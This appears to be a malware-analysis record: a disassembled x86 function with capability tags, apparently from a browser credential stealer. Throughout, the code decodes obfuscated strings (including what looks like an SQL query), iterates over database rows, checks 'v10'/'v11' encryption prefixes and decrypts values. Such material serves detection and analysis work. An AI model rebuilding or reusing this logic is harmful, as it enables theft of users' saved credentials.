Function at 0x4114b8
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1cc
push ebx
push ebp
push esi
mov esi, edx
mov dword [esp + 0xf0], ecx
xor ebx, ebx
mov dword [esp + 0x24], esi
push edi
mov dword [esp + 0x18], 0x12e3178
mov ecx, ebx
mov dword [esp + 0x1c], 0x7d3f380a
mov dword [esp + 0x20], 0x3c293c19
mov al, byte [esp + ecx + 0x18]
xor al, 0x5d
movzx eax, al
mov word [esp + ecx*2 + 0x138], ax
inc ecx
cmp ecx, 0xc
jl 0x4114eb
movzx ecx, word [0x42b918]
xor eax, eax
add ecx, 0xc136f7e6
mov word [esp + 0x150], ax
mov eax, ecx
mov dword [0x42b8e4], ecx
and eax, 0xca5d
and cl, 0x13
mov word [0x42b918], ax
mov byte [0x42b8ba], cl
call fcn.00420376
movzx edx, word [0x42b918]
mov ebp, eax
mov eax, 0xaedf
xor dx, ax
test ebp, ebp
jne 0x41157a
mov cl, byte [0x42b8ba]
lea eax, [edx + 0x3e0d]
xor cl, 0xaf
mov word [0x42b918], ax
shl al, 5
sub cl, 0x58
mov byte [0x42b8ba], al
mov byte [0x42b8fa], cl
jmp 0x412517
and byte [0x42b8ba], 0x16
lea eax, [esp + 0x138]
or edx, 0x1e29
push esi
push eax
mov word [0x42b918], dx
call fcn.00422d73
pop ecx
pop ecx
mov cl, byte [0x42b918]
and cl, 0x8a
mov dword [esp + 0x114], eax
mov byte [0x42b8fa], cl
test eax, eax
je 0x412517
mov ecx, dword [0x42b8e4]
add ecx, 0x55b1
mov word [0x42b918], cx
mov ecx, eax
call fcn.00422e77
movzx ecx, byte [0x42b8fa]
mov edi, eax
mov eax, 0x766e
mov dword [esp + 0x110], edi
or cx, ax
mov word [0x42b918], cx
test edi, edi
je 0x4124fe
imul eax, dword [0x42b8e4], 0xaafe4236
xor edx, edx
mov cl, byte [0x42b8ba]
add cl, 0x27
mov byte [0x42b8fa], cl
mov ecx, edi
xor eax, 0x8cd9c269
mov dword [0x42b8e4], eax
call fcn.004235be
mov edx, dword [0x42b8e4]
add edx, 0xd998c2ea
mov dword [esp + 0xf8], eax
test eax, eax
je 0x41249d
mov ecx, edx
and edx, 0x523a715c
imul eax, edx, 0x34793f0e
xor ecx, 0xd353
push ebx
mov word [0x42b918], cx
mov cl, byte [0x42b8ba]
push 1
mov dword [0x42b8e4], eax
xor cl, 0x3a
lea eax, [esp + 0xf0]
mov byte [0x42b8fa], cl
push eax
push dword [esp + 0x104]
call dword [ebp + 4]
add esp, 0x10
test eax, eax
jne 0x412464
mov dword [esp + 0x88], 0x646b6472
mov ecx, ebx
mov dword [esp + 0x8c], 0x843f7362
mov dword [esp + 0x90], 0x91888f97
mov dword [esp + 0x94], 0x8e889380
mov dword [esp + 0x98], 0x8e8c7e8d
mov dword [esp + 0x9c], 0x4b87938d
mov dword [esp + 0xa0], 0x8f97843f
mov dword [esp + 0xa4], 0x93809188
mov dword [esp + 0xa8], 0x7e8d8e88
mov dword [esp + 0xac], 0x91808498
mov dword [esp + 0xb0], 0x808d3f4b
mov dword [esp + 0xb4], 0x8e7e848c
mov dword [esp + 0xb8], 0x80827e8d
mov dword [esp + 0xbc], 0x3f4b8391
mov dword [esp + 0xc0], 0x83918082
mov dword [esp + 0xc4], 0x8c948d7e
mov dword [esp + 0xc8], 0x7e918481
mov dword [esp + 0xcc], 0x91828d84
mov dword [esp + 0xd0], 0x84938f98
mov dword [esp + 0xd4], 0x71653f83
mov dword [esp + 0xd8], 0x823f6c6e
mov dword [esp + 0xdc], 0x88838491
mov dword [esp + 0xe0], 0x80827e93
mov word [esp + 0xe4], 0x8391
mov byte [esp + 0xe6], 0x92
mov al, byte [esp + ecx + 0x88]
sub al, 0x1f
mov byte [esp + ecx + 0x178], al
inc ecx
cmp ecx, 0x5f
jl 0x4117a4
mov byte [esp + 0x1d7], bl
mov eax, ebx
mov dword [esp + 0x30], 0x8f868f99
mov dword [esp + 0x34], 0xa4ea9e89
mov dword [esp + 0x38], 0xe6afa7ab
mov dword [esp + 0x3c], 0xa6abbcea
mov dword [esp + 0x40], 0x8ceaafbf
mov dword [esp + 0x44], 0xea878598
mov dword [esp + 0x48], 0xa5bebfab
mov dword [esp + 0x4c], 0xa6a6a3ac
movups xmm0, xmmword [esp + eax + 0x30]
pxor xmm0, xmmword [0x428ff0]
movups xmmword [esp + eax + 0x154], xmm0
add eax, 0x10
cmp eax, 0x20
jl 0x411803
mov eax, dword [0x42b8e4]
mov cl, byte [0x42b8fa]
add eax, 0xffffdf68
and eax, 0x6850
mov byte [esp + 0x174], bl
mov word [0x42b918], ax
xor cl, 0xc5
and al, 0x3c
mov byte [0x42b8fa], cl
mov byte [0x42b8ba], al
movzx eax, cl
xor eax, 0xb2671932
mov dword [0x42b8e4], eax
lea eax, [esp + 0x14]
push ebx
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x184]
push eax
push dword [esp + 0xf8]
call dword [ebp + 8]
add esp, 0x14
test eax, eax
jne 0x412056
movzx ecx, byte [0x42b8ba]
lea edi, [esp + 0x18]
push dword [esp + 0x14]
mov eax, 0xf606
and cx, ax
mov word [0x42b918], cx
lea eax, [ecx + 1]
xor cl, 0xe3
mov byte [0x42b8fa], al
xor eax, eax
stosd dword es:[edi], eax
mov byte [0x42b8ba], cl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
jne 0x411d38
mov dword [esp + 0x78], 0x79717255
mov dword [esp + 0x7c], 0x3d276f78
mov dword [esp + 0x80], 0x5276e69
mov dword [esp + 0x84], 0x445e0016
mov dword [esp + 0x50], 0xa6ae5143
mov dword [esp + 0x54], 0x709ba89f
mov byte [esp + 0x58], 0x56
mov ecx, ebx
mov al, byte [esp + ecx + 0x78]
xor al, 0x1d
mov byte [esp + ecx + 0x120], al
inc ecx
cmp ecx, 8
jl 0x411902
mov byte [esp + 0x128], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x80]
xor al, 0x64
mov byte [esp + ecx + 0x12c], al
inc ecx
cmp ecx, 8
jl 0x41191e
mov byte [esp + 0x134], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x50]
sub al, 0x36
mov byte [esp + ecx + 0x104], al
inc ecx
cmp ecx, 9
jl 0x41193d
mov byte [esp + 0x10d], bl
mov ecx, ebx
mov word [esp + 0x24], 0x2f
mov dword [esp + 0x5c], 0x18182f28
mov dword [esp + 0x60], 0x18181818
mov dword [esp + 0x64], 0x18181818
mov dword [esp + 0x68], 0x18181818
mov word [esp + 0x6c], 0x2818
mov byte [esp + 0x6e], 0x2f
mov al, byte [esp + ecx + 0x5c]
xor al, 0x25
mov byte [esp + ecx + 0x30], al
inc ecx
cmp ecx, 0x13
jl 0x41198c
mov al, byte [0x42b8ba]
lea edx, [esp + 0x120]
or al, 0x27
mov byte [esp + 0x43], bl
mov byte [0x42b8fa], al
lea ecx, [esp + 0x18]
movzx eax, byte [0x42b8ba]
and eax, 0xe113b135
push 0xffffffffffffffff
mov dword [0x42b8e4], eax
call fcn.004234c5
movzx eax, byte [0x42b8fa]
pop ecx
imul eax, eax, 0x49935138
push 2
push dword [esp + 0x18]
mov dword [0x42b8e4], eax
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push 2
push dword [esp + 0x1c]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.004234c5
add byte [0x42b8ba], 0x6d
lea edx, [esp + 0x130]
or byte [0x42b8fa], 0x87
pop ecx
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
call fcn.004234c5
movzx eax, byte [0x42b8fa]
pop ecx
mov ecx, 0x147e
sub ax, cx
mov word [0x42b918], ax
movzx eax, byte [0x42b8ba]
imul eax, eax, 0xa8faf4c1
push 3
push dword [esp + 0x18]
mov dword [0x42b8e4], eax
call dword [ebp + 0x14]
and byte [0x42b8fa], 0x13
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x411c30
movzx ecx, byte [0x42b8ba]
or ecx, 0x7ac8a530
mov dword [0x42b8e4], ecx
mov cl, byte [0x42b918]
and cl, 0xdb
or cl, 0x19
movzx eax, cl
mov byte [0x42b8fa], cl
mov ecx, 0x5107
push 3
push dword [esp + 0x18]
sub ax, cx
mov word [0x42b918], ax
call dword [ebp + 0x20]
mov edi, eax
mov al, byte [0x42b918]
xor al, 0xd5
pop ecx
pop ecx
movzx edx, al
mov ecx, 0xb2e4
imul edx, ecx
cmp byte [esi], 0x76
mov byte [esp + 0x73], al
mov byte [0x42b8fa], al
movzx eax, dx
mov dword [esp + 0x74], eax
mov word [0x42b918], dx
jne 0x411b92
cmp byte [esi + 1], 0x31
lea eax, [esi + 2]
jne 0x411b8e
cmp byte [eax], 0x30
je 0x411af9
cmp byte [eax], 0x31
jne 0x411b8e
sub dl, 5
mov ecx, esi
and dl, 0x60
movzx eax, dl
imul eax, eax, 0x138d8711
mov byte [0x42b8fa], dl
add dl, 0x42
mov byte [0x42b8ba], dl
mov edx, edi
mov dword [0x42b8e4], eax
lea eax, [esp + 0xec]
push eax
call fcn.0040fbaa
sub dword [0x42b8e4], 0x47cb1965
mov esi, eax
pop ecx
test esi, esi
je 0x411c30
mov cl, byte [0x42b8fa]
mov edx, esi
push dword [esp + 0xec]
or cl, 0xcd
mov byte [0x42b8ba], cl
movzx ecx, word [0x42b918]
imul ecx, ecx, 0x2d35c381
mov dword [0x42b8e4], ecx
lea ecx, [esp + 0x1c]
call fcn.00423107
mov al, byte [0x42b918]
pop ecx
xor al, 0x26
push esi
mov byte [0x42b8ba], al
call fcn.004056f0
jmp 0x411c2f
mov eax, dword [esp + 0x74]
imul eax, eax, 0x685
mov ecx, 0xbbaf
mov edx, 0xbedfd981
mov dword [esp + 0x11c], esi
mov dword [esp + 0x118], edi
sub ecx, eax
movzx eax, byte [esp + 0x73]
imul eax, eax, 0x61
mov word [0x42b918], cx
movzx eax, al
imul eax, eax, 0x9a6ef368
mov dword [0x42b8e4], eax
or al, 0xf5
sub al, 0x48
mov byte [0x42b8ba], al
lea eax, [esp + 0xfc]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x130]
push eax
push 3
pop ecx
call fcn.004155a6
call eax
test eax, eax
je 0x411c30
mov al, byte [0x42b8e4]
lea ecx, [esp + 0x18]
push dword [esp + 0xfc]
mov edx, dword [esp + 0x104]
add al, 0x72
mov byte [0x42b8ba], al
movzx eax, word [0x42b918]
and eax, 0x73db7855
mov dword [0x42b8e4], eax
call fcn.00423107
pop ecx
movzx eax, byte [0x42b8ba]
lea edx, [esp + 0x104]
add byte [0x42b8fa], 0xb
mov ecx, 0x1973
add ax, cx
lea ecx, [esp + 0x18]
push 0xffffffffffffffff
mov word [0x42b918], ax
call fcn.004234c5
pop ecx
mov cl, byte [0x42b918]
push ebx
push dword [esp + 0x18]
lea eax, [ecx - 0x4b]
sub cl, 0x37
mov byte [0x42b8fa], al
mov byte [0x42b8ba], cl
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x1c]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.004234c5
movzx eax, byte [0x42b8ba]
lea edx, [esp + 0x28]
or byte [0x42b8fa], 0xbb
pop ecx
mov ecx, 0x203b
and ax, cx
lea ecx, [esp + 0x18]
push 0xffffffffffffffff
mov word [0x42b918], ax
call fcn.004234c5
mov al, byte [0x42b8ba]
and al, 0x9a
pop ecx
mov byte [0x42b8fa], al
mov eax, dword [0x42b8e4]
push 1
push dword [esp + 0x18]
and eax, 0x918
mov word [0x42b918], ax
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x1c]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.004234c5
movzx eax, byte [0x42b8fa]
lea edx, [esp + 0x34]
pop ecx
or eax, 0x27ffa1fd
lea ecx, [esp + 0x18]
push 0xffffffffffffffff
mov dword [0x42b8e4], eax
call fcn.004234c5
pop ecx
push dword [esp + 0x14]
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
je 0x411900
mov esi, dword [esp + 0x28]
mov dl, byte [0x42b8ba]
and dl, 0xe6
cmp dword [esp + 0x18], ebx
je 0x412056
mov dword [esp + 0x30], 0xdcddcafb
mov ecx, ebx
mov dword [esp + 0x34], 0xd9fbccd1
mov dword [esp + 0x38], 0x97cbdcca
mov dword [esp + 0x3c], 0xe7cbd49d
mov dword [esp + 0x40], 0x96cbd49d
mov word [esp + 0x44], 0xc0cc
mov byte [esp + 0x46], 0xcc
mov al, byte [esp + ecx + 0x30]
xor al, 0xb8
movzx eax, al
mov word [esp + ecx*2 + 0x88], ax
inc ecx
cmp ecx, 0x17
jl 0x411d81
mov cl, byte [0x42b918]
xor eax, eax
mov word [esp + 0xb6], ax
sub cl, 0x64
movzx eax, dl
mov edx, 0xe97d
xor ax, dx
mov byte [0x42b8fa], cl
mov word [0x42b918], ax
lea edx, [esp + 0x28]
movzx eax, cl
mov ecx, esi
and eax, 0x437c2e51
mov dword [0x42b8e4], eax
xor al, 0xf1
mov byte [0x42b8ba], al
call fcn.00413f04
movzx ecx, byte [0x42b8fa]
mov esi, eax
mov dl, byte [0x42b8ba]
imul ecx, ecx, 0x5e
xor dl, 0xac
mov byte [0x42b8ba], dl
mov byte [0x42b8fa], cl
movzx ecx, cl
or ecx, 0x1eac1563
test esi, esi
je 0x411f89
movzx ecx, dl
mov eax, 0xd0e
mov edx, dword [esp + 0x28]
add cx, ax
mov word [0x42b918], cx
lea eax, [ecx - 0x29]
add cl, 0x43
mov byte [0x42b8fa], al
movzx eax, al
imul eax, eax, 0x9edb62bd
mov byte [0x42b8ba], cl
mov ecx, esi
mov dword [0x42b8e4], eax
lea eax, [esp + 0xec]
push eax
call fcn.0040fbaa
imul edx, dword [0x42b8e4], 0xcc890fea
mov edi, eax
pop ecx
mov dword [0x42b8e4], edx
xor edx, 0xb4e
mov word [0x42b918], dx
test edi, edi
je 0x411f75
mov dword [esp + 0x28], 0x5036f5f8
mov ecx, ebx
mov word [esp + 0x2c], 0x2564
mov byte [esp + 0x2e], 0xb
mov al, byte [esp + ecx + 0x28]
add al, 0x15
mov byte [esp + ecx + 0xfc], al
inc ecx
cmp ecx, 7
jl 0x411e95
mov byte [esp + 0x103], bl
mov ecx, ebx
mov word [esp + 0x24], 0x7376
mov al, byte [esp + ecx + 0x24]
sub al, 0x69
mov byte [esp + ecx + 0x74], al
inc ecx
cmp ecx, 2
jl 0x411eb8
lea eax, [edx + 0x43]
mov byte [esp + 0x76], bl
mov byte [0x42b8ba], al
lea ecx, [esp + 0x18]
or al, 0xc0
mov byte [0x42b8fa], al
mov eax, 0x34f0
xor dx, ax
mov word [0x42b918], dx
lea edx, [esp + 0xfc]
push 0xffffffffffffffff
call fcn.004234c5
movzx eax, byte [0x42b8fa]
mov edx, edi
pop ecx
push dword [esp + 0xec]
mov ecx, 0x607a
sub ax, cx
lea ecx, [esp + 0x1c]
mov word [0x42b918], ax
mov al, byte [0x42b8e4]
xor al, 0x18
mov byte [0x42b8fa], al
call fcn.00423107
pop ecx
movzx ecx, byte [0x42b8fa]
lea edx, [esp + 0x74]
add ecx, 0x8e581baa
mov al, cl
and al, 0xfc
mov byte [0x42b8ba], al
imul eax, ecx, 0x62356491
lea ecx, [esp + 0x18]
push 0xffffffffffffffff
mov dword [0x42b8e4], eax
call fcn.004234c5
mov al, byte [0x42b8fa]
pop ecx
add al, 0x18
push edi
mov byte [0x42b8ba], al
call fcn.004056f0
pop ecx
and byte [0x42b8ba], 0x20
push esi
call fcn.004056f0
pop ecx
mov ecx, dword [0x42b8e4]
push dword [esp + 0x1e0]
mov eax, 0xfb6a
sub ecx, 0x958add5
xor word [0x42b918], ax
lea eax, [esp + 0x8c]
push dword [esp + 0xf8]
mov dword [0x42b8e4], ecx
push eax
call fcn.00422d73
mov dx, word [0x42b918]
mov esi, eax
mov ecx, 0xbd04
add esp, 0xc
lea eax, [edx - 9]
movzx edx, dx
imul edx, ecx
and al, 0x63
mov byte [0x42b8ba], al
movzx ecx, dx
mov word [0x42b918], dx
test esi, esi
je 0x41203e
mov edx, dword [esp + 0x20]
and ecx, 0x3d44
mov word [0x42b918], cx
sub cl, 0x22
mov byte [0x42b8fa], cl
mov ecx, dword [esp + 0x18]
push esi
mov byte [0x42b8ba], 0xff
call fcn.0041eb29
pop ecx
mov cx, word [0x42b918]
movzx eax, cx
imul eax, eax, 0x12faad3a
push esi
mov byte [0x42b8fa], cl
mov dword [0x42b8e4], eax
call fcn.004056f0
mov al, byte [0x42b8ba]
pop ecx
push dword [esp + 0x18]
movzx eax, al
imul eax, eax, 0x79633da7
mov dword [0x42b8e4], eax
call fcn.004056f0
pop ecx
mov eax, dword [0x42b8e4]
push dword [esp + 0x14]
add eax, 0xfffff59d
mov word [0x42b918], ax
mov al, byte [0x42b8fa]
or al, 0xcd
mov byte [0x42b8ba], al
call dword [ebp + 0x18]
mov al, byte [0x42b8e4]
or esi, 0xffffffff
pop ecx
sub al, 0x3d
mov byte [0x42b8fa], al
lea eax, [esp + 0x14]
push ebx
push eax
push esi
lea eax, [esp + 0x160]
push eax
push dword [esp + 0xf8]
call dword [ebp + 8]
add esp, 0x14
test eax, eax
jne 0x412444
mov cx, word [0x42b918]
lea edi, [esp + 0x18]
push dword [esp + 0x14]
movzx eax, cl
imul edx, eax, 0x2c
mov eax, 0xf4a5
xor cx, ax
xor eax, eax
stosd dword es:[edi], eax
mov word [0x42b918], cx
add dl, 0x38
stosd dword es:[edi], eax
mov byte [0x42b8fa], dl
stosd dword es:[edi], eax
movzx eax, dl
or dl, 0xad
and eax, 0x3e573ed9
mov byte [0x42b8ba], dl
mov dword [0x42b8e4], eax
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
jne 0x4122d7
mov dword [esp + 0x28], 0xe9e1edc2
mov word [esp + 0x2c], 0xacb6
mov dword [esp + 0x50], 0x2d1a4641
mov dword [esp + 0x54], 0x76293920
mov byte [esp + 0x58], 0x6c
mov ecx, ebx
mov al, byte [esp + ecx + 0x28]
xor al, 0x8c
mov byte [esp + ecx + 0xec], al
inc ecx
cmp ecx, 6
jl 0x412128
mov byte [esp + 0xf2], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x50]
xor al, 0x4c
mov byte [esp + ecx + 0x104], al
inc ecx
cmp ecx, 9
jl 0x412144
mov byte [esp + 0x10d], bl
mov ecx, ebx
mov dword [esp + 0x5c], 0xc7c7f0f7
mov dword [esp + 0x60], 0xc7c7c7c7
mov dword [esp + 0x64], 0xc7c7c7c7
mov dword [esp + 0x68], 0xc7c7c7c7
mov word [esp + 0x6c], 0xf7c7
mov byte [esp + 0x6e], 0xf0
mov al, byte [esp + ecx + 0x5c]
xor al, 0xfa
mov byte [esp + ecx + 0x30], al
inc ecx
cmp ecx, 0x13
jl 0x41218c
mov ecx, dword [0x42b8e4]
lea edx, [esp + 0xec]
push esi
mov byte [esp + 0x47], bl
lea eax, [ecx + 0x60ff]
mov word [0x42b918], ax
mov al, byte [0x42b8fa]
or al, 0x10
mov byte [0x42b8ba], al
movzx eax, cl
lea ecx, [esp + 0x1c]
imul eax, eax, 0x71
mov byte [0x42b8fa], al
call fcn.004234c5
mov al, byte [0x42b8e4]
pop ecx
push ebx
push dword [esp + 0x18]
sub al, 4
mov byte [0x42b8fa], al
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x1c]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.004234c5
mov al, byte [0x42b8ba]
lea edx, [esp + 0x108]
or al, 0x5c
mov byte [0x42b8ba], al
pop ecx
movzx eax, al
mov ecx, 0x2986
sub ax, cx
mov ecx, 0x5e62
and ax, cx
lea ecx, [esp + 0x18]
push esi
mov word [0x42b918], ax
call fcn.004234c5
movzx eax, byte [0x42b8ba]
sub eax, 0x6e1ed5aa
pop ecx
movzx ecx, word [0x42b918]
mov dword [0x42b8e4], eax
mov eax, 0x44bf
imul ecx, eax
push 1
push dword [esp + 0x18]
mov word [0x42b918], cx
or cl, 0x61
mov byte [0x42b8ba], cl
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x1c]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.004234c5
pop ecx
mov cx, word [0x42b918]
lea edx, [esp + 0x30]
push esi
lea eax, [ecx + 0x58]
mov byte [0x42b8fa], al
mov eax, 0x4393
or cx, ax
add byte [0x42b8ba], 0x87
mov word [0x42b918], cx
lea ecx, [esp + 0x1c]
call fcn.004234c5
pop ecx
push dword [esp + 0x14]
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
je 0x412126
mov cx, word [0x42b918]
mov eax, 0xbd70
or cx, ax
mov word [0x42b918], cx
cmp dword [esp + 0x18], ebx
je 0x412444
mov dword [esp + 0x30], 0x48535266
mov dword [esp + 0x34], 0x4b4b4e41
mov dword [esp + 0x38], 0x4b020854
mov dword [esp + 0x3c], 0x4b027854
mov dword [esp + 0x40], 0x5f530954
mov byte [esp + 0x44], 0x53
mov al, byte [esp + ebx + 0x30]
xor al, 0x27
movzx eax, al
mov word [esp + ebx*2 + 0x88], ax
inc ebx
cmp ebx, 0x15
jl 0x412324
push dword [esp + 0x1e0]
xor eax, eax
mov edx, 0x176b
push dword [esp + 0xf8]
mov word [esp + 0xba], ax
movzx eax, cl
imul ecx, eax, 0xd3
movzx eax, cl
add ax, dx
mov byte [0x42b8fa], cl
mov word [0x42b918], ax
movzx eax, cl
or eax, 0xa283484d
mov dword [0x42b8e4], eax
lea eax, [esp + 0x90]
push eax
call fcn.00422d73
mov cx, word [0x42b918]
mov esi, eax
mov dl, byte [0x42b8e4]
mov eax, 0x6ec6
add cx, ax
or dl, 0x17
add esp, 0xc
mov byte [0x42b8ba], dl
movzx eax, cx
mov word [0x42b918], cx
test esi, esi
je 0x41241e
add eax, 0x41bf
movzx ecx, ax
movzx eax, dl
mov edx, dword [esp + 0x20]
imul eax, eax, 0xf
mov word [0x42b918], cx
xor cl, 0x12
mov byte [0x42b8ba], cl
mov ecx, dword [esp + 0x18]
push esi
movzx eax, al
sub eax, 0x10cc8fc
mov dword [0x42b8e4], eax
call fcn.0041eb29
movzx eax, word [0x42b918]
add eax, 0xa86b27ea
mov dword [0x42b8e4], eax
and al, 0x7e
pop ecx
mov byte [0x42b8ba], al
add al, 0x7f
push esi
mov byte [0x42b8fa], al
call fcn.004056f0
pop ecx
movzx eax, byte [0x42b8fa]
push dword [esp + 0x18]
add eax, 0x696e00bf
mov dword [0x42b8e4], eax
movzx eax, al
imul eax, eax, 0x2c
mov byte [0x42b8fa], al
call fcn.004056f0
pop ecx
movzx eax, byte [0x42b8fa]
push dword [esp + 0x14]
xor eax, 0xc061f256
mov dword [0x42b8e4], eax
call dword [ebp + 0x18]
mov edi, dword [esp + 0x114]
pop ecx
movzx eax, byte [0x42b8e4]
push dword [esp + 0xe8]
imul eax, eax, 0xeb
mov byte [0x42b8ba], al
call dword [ebp + 0x1c]
movzx eax, byte [0x42b918]
imul eax, eax, 0x56
pop ecx
push dword [esp + 0xf8]
mov byte [0x42b8fa], al
call fcn.004056f0
pop ecx
movzx eax, byte [0x42b8ba]
mov edx, 0x3f79
or ax, dx
xor ecx, ecx
mov word [0x42b918], ax
mov edx, 0x62d87b
movzx eax, byte [0x42b8fa]
inc ecx
or eax, 0x3bc96aad
push edi
mov dword [0x42b8e4], eax
call fcn.004155a6
call eax
mov al, byte [0x42b918]
mov ecx, 0x53e
or al, 0xb9
mov byte [0x42b8ba], al
movzx eax, al
or ax, cx
mov word [0x42b918], ax
sub al, 0x4d
push edi
mov byte [0x42b8fa], al
call fcn.004056f0
pop ecx
mov al, byte [0x42b8e4]
push dword [esp + 0x114]
add al, 0x55
mov byte [0x42b8fa], al
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1cc
ret